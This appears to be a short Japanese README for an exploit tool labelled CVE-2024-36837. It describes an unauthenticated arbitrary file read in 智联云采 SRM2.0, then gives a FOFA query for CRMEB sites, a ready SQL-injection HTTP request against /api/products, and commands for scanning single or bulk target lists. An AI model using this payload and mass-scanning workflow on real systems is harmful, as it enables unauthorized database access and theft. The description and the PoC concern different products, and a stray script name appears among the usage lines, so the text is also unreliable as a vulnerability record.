免責事項

#智联云采 SRM2.0 runtimeLog/download インターフェースには任意ファイル読み取りの脆弱性が存在し、認証されていない攻撃者はこの脆弱性を利用して、システムの重要なファイル（データベース設定ファイル、システム設定ファイルなど）、データベース設定ファイルなどを読み取ることができ、ウェブサイトが極めて不安全な状態になります。

fofa構文： body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"

#POC：

GET /api/products?limit=20&priceOrder&salesOrder&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(9753165)))),0x7e),3550) HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15 Connection: close Accept: / Accept-Language: en Accept-Encoding: gzip #URLの前にhttp://またはhttps://を追加してください python 11.py

#使い方 python cve.py -h

#一括検出 url.txtのURLアドレスはhttp://またはhttps://である必要があります python cve.py -f url.txt

#単一検出 URLアドレスはhttp://またはhttps://である必要があります python cve.py -u url

CVE-2024-36837

人気

README.md

免責事項